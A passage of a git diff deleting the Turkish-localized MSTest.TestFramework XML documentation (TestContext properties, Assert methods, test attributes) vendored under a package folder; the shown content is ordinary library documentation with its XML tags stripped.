için parametre sırası - >Parametre dizi türü. - İçinde aramanın yapılacağı türler. - Bağımsız Değişkenler - Eşleşmeyi temsil eden bir int. - - - - Sağlanan iki metot arasından en belirli olanını bulur. - - Metot 1 - Metot 1 için parametre sırası - Parametre dizi türü. - Metot 2 - Metot 2 için parametre sırası - >Parametre dizi türü. - İçinde aramanın yapılacağı türler. - Bağımsız Değişkenler - Eşleşmeyi temsil eden bir int. - - - - Sağlanan iki tür arasından en belirli olanını bulur. - - Tür 1 - Tür 2 - Tanımlama türü - Eşleşmeyi temsil eden bir int. - - - - Birim testlerinde sağlanan bilgileri depolamak için kullanılır. - - - - - Bir testin test özelliklerini alır. - - - - - Test, veri tabanlı test için kullanıldığında geçerli veri satırını alır. - - - - - Test, veri tabanlı test için kullanıldığında geçerli veri bağlantısı satırını alır. - - - - - Test çalıştırması için, dağıtılan dosyaların ve sonuç dosyalarının depolandığı temel dizini alır. - - - - - Test çalıştırması için dağıtılan dosyaların dizinini alır. Genellikle dizininin bir alt dizinidir. - - - - - Test çalıştırmasından sonuçlar için temel dizini alır. Genellikle dizininin bir alt dizinidir. - - - - - Test çalıştırması sonuç dosyalarının dizinini alır. Genellikle dizininin bir alt dizinidir. - - - - - Test sonucu dosyalarının dizinini alır. - - - - - Test çalıştırması için dağıtılan dosyaların ve sonuç dosyalarının depolandığı temel dizini alır. - ile aynıdır. Bunun yerine bu özelliği kullanın. - - - - - Test çalıştırması için dağıtılan dosyaların dizinini alır. Genellikle dizininin bir alt dizinidir. - ile aynıdır. Bunun yerine bu özelliği kullanın. - - - - - Test çalıştırması sonuç dosyalarının dizini alır. Genellikle dizininin bir alt dizinidir. - ile aynıdır. Test çalıştırması sonuç dosyaları için bu özelliği veya - teste özgü sonuç dosyaları için kullanın. - - - - - Şu anda yürütülen test metodunu içeren sınıfın tam adını alır - - - - - Yürütülmekte olan test metodunun adını alır - - - - - Geçerli test sonucunu alır. - - - - - Test çalışırken izleme iletileri yazmak için kullanılır - - biçimlendirilmiş ileti dizesi - - - - Test çalışırken izleme iletileri yazmak için kullanılır - - biçim dizesi - bağımsız değişkenler - - - - TestResult.ResultFileNames içindeki listeye bir dosya adı ekler - - - Dosya Adı. - - - - - Belirtilen ada sahip bir zamanlayıcı başlatır - - Zamanlayıcının adı. - - - - Belirtilen ada sahip zamanlayıcıyı sonlandırır - - Zamanlayıcının adı. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/tr/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/tr/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index b7a00291..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/tr/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - Yürütülecek TestMethod. - - - - - Test metodunun adını alır. - - - - - Test sınıfının adını alır. - - - - - Test metodunun dönüş türünü alır. - - - - - Test metodunun parametrelerini alır. - - - - - Test metodu için methodInfo değerini alır. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Test metodunu çağırır. - - - Test metoduna geçirilecek bağımsız değişkenler. (Örn. Veri temelli için) - - - Test yöntemi çağırma sonucu. - - - This call handles asynchronous test methods as well. - - - - - Test metodunun tüm özniteliklerini alır. - - - Üst sınıfta tanımlanan özniteliğin geçerli olup olmadığını belirtir. - - - Tüm öznitelikler. - - - - - Belirli bir türdeki özniteliği alır. - - System.Attribute type. - - Üst sınıfta tanımlanan özniteliğin geçerli olup olmadığını belirtir. - - - Belirtilen türün öznitelikleri. - - - - - Yardımcı. - - - - - Denetim parametresi null değil. - - - Parametre. - - - Parametre adı. - - - İleti. - - Throws argument null exception when parameter is null. - - - - Denetim parametresi null veya boş değil. - - - Parametre. - - - Parametre adı. - - - İleti. - - Throws ArgumentException when parameter is null. - - - - Veri tabanlı testlerde veri satırlarına erişme şekline yönelik sabit listesi. - - - - - Satırlar sıralı olarak döndürülür. - - - - - Satırlar rastgele sırayla döndürülür. - - - - - Bir test metodu için satır içi verileri tanımlayan öznitelik. - - - - - sınıfının yeni bir örneğini başlatır. - - Veri nesnesi. - - - - Bir bağımsız değişken dizisi alan sınıfının yeni bir örneğini başlatır. - - Bir veri nesnesi. - Daha fazla veri. - - - - Çağıran test metodu verilerini alır. - - - - - Özelleştirme için test sonuçlarında görünen adı alır veya ayarlar. - - - - - Onay sonuçlandırılmadı özel durumu. - - - - - sınıfının yeni bir örneğini başlatır. - - İleti. - Özel durum. - - - - sınıfının yeni bir örneğini başlatır. - - İleti. - - - - sınıfının yeni bir örneğini başlatır. - - - - - InternalTestFailureException sınıfı. Bir test çalışmasının iç hatasını belirtmek için kullanılır - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - sınıfının yeni bir örneğini başlatır. - - Özel durum iletisi. - Özel durum. - - - - sınıfının yeni bir örneğini başlatır. - - Özel durum iletisi. - - - - sınıfının yeni bir örneğini başlatır. - - - - - Belirtilen türde bir özel durum beklemeyi belirten öznitelik - - - - - Beklenen tür ile sınıfının yeni bir örneğini başlatır - - Beklenen özel durum türü - - - - Beklenen tür ve test tarafından özel durum oluşturulmadığında eklenecek ileti ile sınıfının - yeni bir örneğini başlatır. - - Beklenen özel durum türü - - Test bir özel durum oluşturmama nedeniyle başarısız olursa test sonucuna dahil edilecek ileti - - - - - Beklenen özel durumun Türünü belirten bir değer alır - - - - - Beklenen özel durumun türünden türetilmiş türlerin beklenen özel durum türü olarak değerlendirilmesine izin verilip verilmeyeceğini - belirten değeri alır veya ayarlar - - - - - Özel durum oluşturulamaması nedeniyle testin başarısız olması durumunda, test sonucuna dahil edilecek olan iletiyi alır - - - - - Birim testi tarafından oluşturulan özel durum türünün beklendiğini doğrular - - Birim testi tarafından oluşturulan özel durum - - - - Birim testinden bir özel durum beklemek için belirtilen özniteliklerin temel sınıfı - - - - - Varsayılan bir 'özel durum yok' iletisi ile sınıfının yeni bir örneğini başlatır - - - - - Bir 'özel durum yok' iletisi ile sınıfının yeni bir örneğini başlatır - - - Test bir özel durum oluşturmama nedeniyle başarısız olursa test sonucuna - dahil edilecek özel durum - - - - - Özel durum oluşturulamaması nedeniyle testin başarısız olması durumunda, test sonucuna dahil edilecek olan iletiyi alır - - - - - Özel durum oluşturulamaması nedeniyle testin başarısız olması durumunda, test sonucuna dahil edilecek olan iletiyi alır - - - - - Varsayılan 'özel durum yok' iletisini alır - - ExpectedException özniteliği tür adı - Özel durum olmayan varsayılan ileti - - - - Özel durumun beklenip beklenmediğini belirler. Metot dönüş yapıyorsa, özel - durumun beklendiği anlaşılır. Metot bir özel durum oluşturuyorsa, özel durumun - beklenmediği anlaşılır ve oluşturulan özel durumun iletisi test sonucuna - eklenir. Kolaylık sağlamak amacıyla sınıfı kullanılabilir. - kullanılırsa ve onaylama başarısız olursa, - test sonucu Belirsiz olarak ayarlanır. - - Birim testi tarafından oluşturulan özel durum - - - - Özel durum bir AssertFailedException veya AssertInconclusiveException ise özel durumu yeniden oluşturur - - Bir onaylama özel durumu ise yeniden oluşturulacak özel durum - - - - Bu sınıf, kullanıcının genel türler kullanan türlere yönelik birim testleri yapmasına yardımcı olmak üzere tasarlanmıştır. - GenericParameterHelper bazı genel tür kısıtlamalarını yerine getirir; - örneğin: - 1. genel varsayılan oluşturucu - 2. ortak arabirim uygular: IComparable, IEnumerable - - - - - sınıfının C# genel türlerindeki 'newable' - kısıtlamasını karşılayan yeni bir örneğini başlatır. - - - This constructor initializes the Data property to a random value. - - - - - sınıfının, Data özelliğini kullanıcı - tarafından sağlanan bir değerle başlatan yeni bir örneğini başlatır. - - Herhangi bir tamsayı değeri - - - - Verileri alır veya ayarlar - - - - - İki GenericParameterHelper nesnesi için değer karşılaştırması yapar - - karşılaştırma yapılacak nesne - nesne bu 'this' GenericParameterHelper nesnesiyle aynı değere sahipse true. - aksi takdirde false. - - - - Bu nesne için bir karma kod döndürür. - - Karma kod. - - - - İki nesnesinin verilerini karşılaştırır. - - Karşılaştırılacak nesne. - - Bu örnek ve değerin göreli değerlerini gösteren, işaretli sayı. - - - Thrown when the object passed in is not an instance of . - - - - - Uzunluğu Data özelliğinden türetilmiş bir IEnumerator nesnesi - döndürür. - - IEnumerator nesnesi - - - - Geçerli nesneye eşit olan bir GenericParameterHelper nesnesi - döndürür. - - Kopyalanan nesne. - - - - Kullanıcıların tanılama amacıyla birim testlerindeki izlemeleri günlüğe kaydetmesini/yazmasını sağlar. - - - - - LogMessage işleyicisi. - - Günlüğe kaydedilecek ileti. - - - - Dinlenecek olay. Birim testi yazıcı bir ileti yazdığında oluşturulur. - Genellikle bağdaştırıcı tarafından kullanılır. - - - - - İletileri günlüğe kaydetmek için çağrılacak test yazıcısı API'si. - - Yer tutucuları olan dize biçimi. - Yer tutucu parametreleri. - - - - TestCategory özniteliği; bir birim testinin kategorisini belirtmek için kullanılır. - - - - - sınıfının yeni bir örneğini başlatır ve kategoriyi teste uygular. - - - Test Kategorisi. - - - - - Teste uygulanan test kategorilerini alır. - - - - - "Category" özniteliğinin temel sınıfı - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - sınıfının yeni bir örneğini başlatır. - Kategoriyi teste uygular. TestCategories tarafından döndürülen - dizeler /category komutu içinde testleri filtrelemek için kullanılır - - - - - Teste uygulanan test kategorisini alır. - - - - - AssertFailedException sınıfı. Test çalışmasının başarısız olduğunu göstermek için kullanılır - - - - - sınıfının yeni bir örneğini başlatır. - - İleti. - Özel durum. - - - - sınıfının yeni bir örneğini başlatır. - - İleti. - - - - sınıfının yeni bir örneğini başlatır. - - - - - Birim testleri içindeki çeşitli koşulları test etmeye yönelik yardımcı - sınıf koleksiyonu. Test edilen koşul karşılanmazsa bir özel durum - oluşturulur. - - - - - Assert işlevselliğinin tekil örneğini alır. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Belirtilen koşulun true olup olmadığını test eder ve koşul false ise - bir özel durum oluşturur. - - - Testte true olması beklenen koşul. - - - Thrown if is false. - - - - - Belirtilen koşulun true olup olmadığını test eder ve koşul false ise - bir özel durum oluşturur. - - - Testte true olması beklenen koşul. - - - Şu durumda özel duruma dahil edilecek ileti - false. İleti test sonuçlarında gösterilir. - - - Thrown if is false. - - - - - Belirtilen koşulun true olup olmadığını test eder ve koşul false ise - bir özel durum oluşturur. - - - Testte true olması beklenen koşul. - - - Şu durumda özel duruma dahil edilecek ileti - false. İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is false. - - - - - Belirtilen koşulun false olup olmadığını test eder ve koşul true ise - bir özel durum oluşturur. - - - Testte false olması beklenen koşul. - - - Thrown if is true. - - - - - Belirtilen koşulun false olup olmadığını test eder ve koşul true ise - bir özel durum oluşturur. - - - Testte false olması beklenen koşul. - - - Şu durumda özel duruma dahil edilecek ileti - true. İleti test sonuçlarında gösterilir. - - - Thrown if is true. - - - - - Belirtilen koşulun false olup olmadığını test eder ve koşul true ise - bir özel durum oluşturur. - - - Testte false olması beklenen koşul. - - - Şu durumda özel duruma dahil edilecek ileti - true. İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is true. - - - - - Belirtilen nesnenin null olup olmadığını test eder ve değilse bir - özel durum oluşturur. - - - Testte null olması beklenen nesne. - - - Thrown if is not null. - - - - - Belirtilen nesnenin null olup olmadığını test eder ve değilse bir - özel durum oluşturur. - - - Testte null olması beklenen nesne. - - - Şu durumda özel duruma dahil edilecek ileti - null değil. İleti test sonuçlarında gösterilir. - - - Thrown if is not null. - - - - - Belirtilen nesnenin null olup olmadığını test eder ve değilse bir - özel durum oluşturur. - - - Testte null olması beklenen nesne. - - - Şu durumda özel duruma dahil edilecek ileti - null değil. İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not null. - - - - - Belirtilen dizenin null olup olmadığını test eder ve null ise bir özel durum - oluşturur. - - - Testte null olmaması beklenen nesne. - - - Thrown if is null. - - - - - Belirtilen dizenin null olup olmadığını test eder ve null ise bir özel durum - oluşturur. - - - Testte null olmaması beklenen nesne. - - - Şu durumda özel duruma dahil edilecek ileti - null. İleti test sonuçlarında gösterilir. - - - Thrown if is null. - - - - - Belirtilen dizenin null olup olmadığını test eder ve null ise bir özel durum - oluşturur. - - - Testte null olmaması beklenen nesne. - - - Şu durumda özel duruma dahil edilecek ileti - null. İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is null. - - - - - Belirtilen her iki nesnenin de aynı nesneye başvurup başvurmadığını test eder - ve iki giriş aynı nesneye başvurmuyorsa bir özel durum oluşturur. - - - Karşılaştırılacak birinci nesne. Testte beklenen değerdir. - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Thrown if does not refer to the same object - as . - - - - - Belirtilen her iki nesnenin de aynı nesneye başvurup başvurmadığını test eder - ve iki giriş aynı nesneye başvurmuyorsa bir özel durum oluşturur. - - - Karşılaştırılacak birinci nesne. Testte beklenen değerdir. - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şununla aynı değil: . İleti test - sonuçlarında gösterilir. - - - Thrown if does not refer to the same object - as . - - - - - Belirtilen her iki nesnenin de aynı nesneye başvurup başvurmadığını test eder - ve iki giriş aynı nesneye başvurmuyorsa bir özel durum oluşturur. - - - Karşılaştırılacak birinci nesne. Testte beklenen değerdir. - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şununla aynı değil: . İleti test - sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if does not refer to the same object - as . - - - - - Belirtilen nesnelerin farklı nesnelere başvurup başvurmadığını test eder - ve iki giriş aynı nesneye başvuruyorsa bir özel durum oluşturur. - - - Karşılaştırılacak birinci nesne. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Thrown if refers to the same object - as . - - - - - Belirtilen nesnelerin farklı nesnelere başvurup başvurmadığını test eder - ve iki giriş aynı nesneye başvuruyorsa bir özel durum oluşturur. - - - Karşılaştırılacak birinci nesne. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şununla aynıdır: . İleti test sonuçlarında - gösterilir. - - - Thrown if refers to the same object - as . - - - - - Belirtilen nesnelerin farklı nesnelere başvurup başvurmadığını test eder - ve iki giriş aynı nesneye başvuruyorsa bir özel durum oluşturur. - - - Karşılaştırılacak birinci nesne. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şununla aynıdır: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if refers to the same object - as . - - - - - Belirtilen değerlerin eşit olup olmadığını test eder ve iki değer eşit değilse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - The type of values to compare. - - - Karşılaştırılacak birinci değer. Testte bu değer beklenir. - - - Karşılaştırılacak ikinci değer. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Thrown if is not equal to . - - - - - Belirtilen değerlerin eşit olup olmadığını test eder ve iki değer eşit değilse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - The type of values to compare. - - - Karşılaştırılacak birinci değer. Testte bu değer beklenir. - - - Karşılaştırılacak ikinci değer. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Thrown if is not equal to - . - - - - - Belirtilen değerlerin eşit olup olmadığını test eder ve iki değer eşit değilse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - The type of values to compare. - - - Karşılaştırılacak birinci değer. Testte bu değer beklenir. - - - Karşılaştırılacak ikinci değer. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not equal to - . - - - - - Belirtilen değerlerin eşit olup olmadığını test eder ve iki değer eşitse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - The type of values to compare. - - - Karşılaştırılacak birinci değer. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci değer. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Thrown if is equal to . - - - - - Belirtilen değerlerin eşit olup olmadığını test eder ve iki değer eşitse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - The type of values to compare. - - - Karşılaştırılacak birinci değer. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci değer. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Thrown if is equal to . - - - - - Belirtilen değerlerin eşit olup olmadığını test eder ve iki değer eşitse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - The type of values to compare. - - - Karşılaştırılacak birinci değer. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci değer. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is equal to . - - - - - Belirtilen nesnelerin eşit olup olmadığını test eder ve iki nesne eşit değilse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - Karşılaştırılacak birinci nesne. Testte beklenen nesnedir. - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Thrown if is not equal to - . - - - - - Belirtilen nesnelerin eşit olup olmadığını test eder ve iki nesne eşit değilse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - Karşılaştırılacak birinci nesne. Testte beklenen nesnedir. - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Thrown if is not equal to - . - - - - - Belirtilen nesnelerin eşit olup olmadığını test eder ve iki nesne eşit değilse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - Karşılaştırılacak birinci nesne. Testte beklenen nesnedir. - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not equal to - . - - - - - Belirtilen nesnelerin eşit olup olmadığını test eder ve iki nesne eşitse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - Karşılaştırılacak birinci nesne. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Thrown if is equal to . - - - - - Belirtilen nesnelerin eşit olup olmadığını test eder ve iki nesne eşitse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - Karşılaştırılacak birinci nesne. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Thrown if is equal to . - - - - - Belirtilen nesnelerin eşit olup olmadığını test eder ve iki nesne eşitse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - Karşılaştırılacak birinci nesne. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is equal to . - - - - - Belirtilen float'ların eşit olup olmadığını test eder ve eşit değilse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci kayan nokta. Testte bu kayan nokta beklenir. - - - Karşılaştırılacak ikinci kayan nokta. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - şundan fazla: . - - - Thrown if is not equal to - . - - - - - Belirtilen float'ların eşit olup olmadığını test eder ve eşit değilse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci kayan nokta. Testte bu kayan nokta beklenir. - - - Karşılaştırılacak ikinci kayan nokta. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - şundan fazla: . - - - Şu durumda özel duruma dahil edilecek ileti - şundan farklıdır: şundan fazla: - . İleti test sonuçlarında gösterilir. - - - Thrown if is not equal to - . - - - - - Belirtilen float'ların eşit olup olmadığını test eder ve eşit değilse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci kayan nokta. Testte bu kayan nokta beklenir. - - - Karşılaştırılacak ikinci kayan nokta. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - şundan fazla: . - - - Şu durumda özel duruma dahil edilecek ileti - şundan farklıdır: şundan fazla: - . İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not equal to - . - - - - - Belirtilen float'ların eşit olup olmadığını test eder ve eşitse - bir özel durum oluşturur. - - - Karşılaştırılacak ilk kayan nokta. Testte bu kayan noktanın - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci kayan nokta. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - en fazla . - - - Thrown if is equal to . - - - - - Belirtilen float'ların eşit olup olmadığını test eder ve eşitse - bir özel durum oluşturur. - - - Karşılaştırılacak ilk kayan nokta. Testte bu kayan noktanın - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci kayan nokta. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - en fazla . - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: veya şu değerden daha az farklı: - . İleti test sonuçlarında gösterilir. - - - Thrown if is equal to . - - - - - Belirtilen float'ların eşit olup olmadığını test eder ve eşitse - bir özel durum oluşturur. - - - Karşılaştırılacak ilk kayan nokta. Testte bu kayan noktanın - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci kayan nokta. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - en fazla . - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: veya şu değerden daha az farklı: - . İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is equal to . - - - - - Belirtilen double'ların eşit olup olmadığını test eder ve eşit değilse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci çift. Testte bu çift beklenir. - - - Karşılaştırılacak ikinci çift. Test kapsamındaki kod tarafından bu çift oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - şundan fazla: . - - - Thrown if is not equal to - . - - - - - Belirtilen double'ların eşit olup olmadığını test eder ve eşit değilse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci çift. Testte bu çift beklenir. - - - Karşılaştırılacak ikinci çift. Test kapsamındaki kod tarafından bu çift oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - şundan fazla: . - - - Şu durumda özel duruma dahil edilecek ileti - şundan farklıdır: şundan fazla: - . İleti test sonuçlarında gösterilir. - - - Thrown if is not equal to . - - - - - Belirtilen double'ların eşit olup olmadığını test eder ve eşit değilse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci çift. Testte bu çift beklenir. - - - Karşılaştırılacak ikinci çift. Test kapsamındaki kod tarafından bu çift oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - şundan fazla: . - - - Şu durumda özel duruma dahil edilecek ileti - şundan farklıdır: şundan fazla: - . İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not equal to . - - - - - Belirtilen double'ların eşit olup olmadığını test eder ve eşitse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci çift. Testte bu çiftin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci çift. Test kapsamındaki kod tarafından bu çift oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - en fazla . - - - Thrown if is equal to . - - - - - Belirtilen double'ların eşit olup olmadığını test eder ve eşitse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci çift. Testte bu çiftin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci çift. Test kapsamındaki kod tarafından bu çift oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - en fazla . - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: veya şu değerden daha az farklı: - . İleti test sonuçlarında gösterilir. - - - Thrown if is equal to . - - - - - Belirtilen double'ların eşit olup olmadığını test eder ve eşitse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci çift. Testte bu çiftin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci çift. Test kapsamındaki kod tarafından bu çift oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - en fazla . - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: veya şu değerden daha az farklı: - . İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşit değilse bir - özel durum oluşturur. Karşılaştırma için sabit kültür kullanılır. - - - Karşılaştırılacak ilk dize. Testte bu dize beklenir. - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Thrown if is not equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşit değilse bir - özel durum oluşturur. Karşılaştırma için sabit kültür kullanılır. - - - Karşılaştırılacak ilk dize. Testte bu dize beklenir. - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Thrown if is not equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşit değilse bir - özel durum oluşturur. Karşılaştırma için sabit kültür kullanılır. - - - Karşılaştırılacak ilk dize. Testte bu dize beklenir. - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından 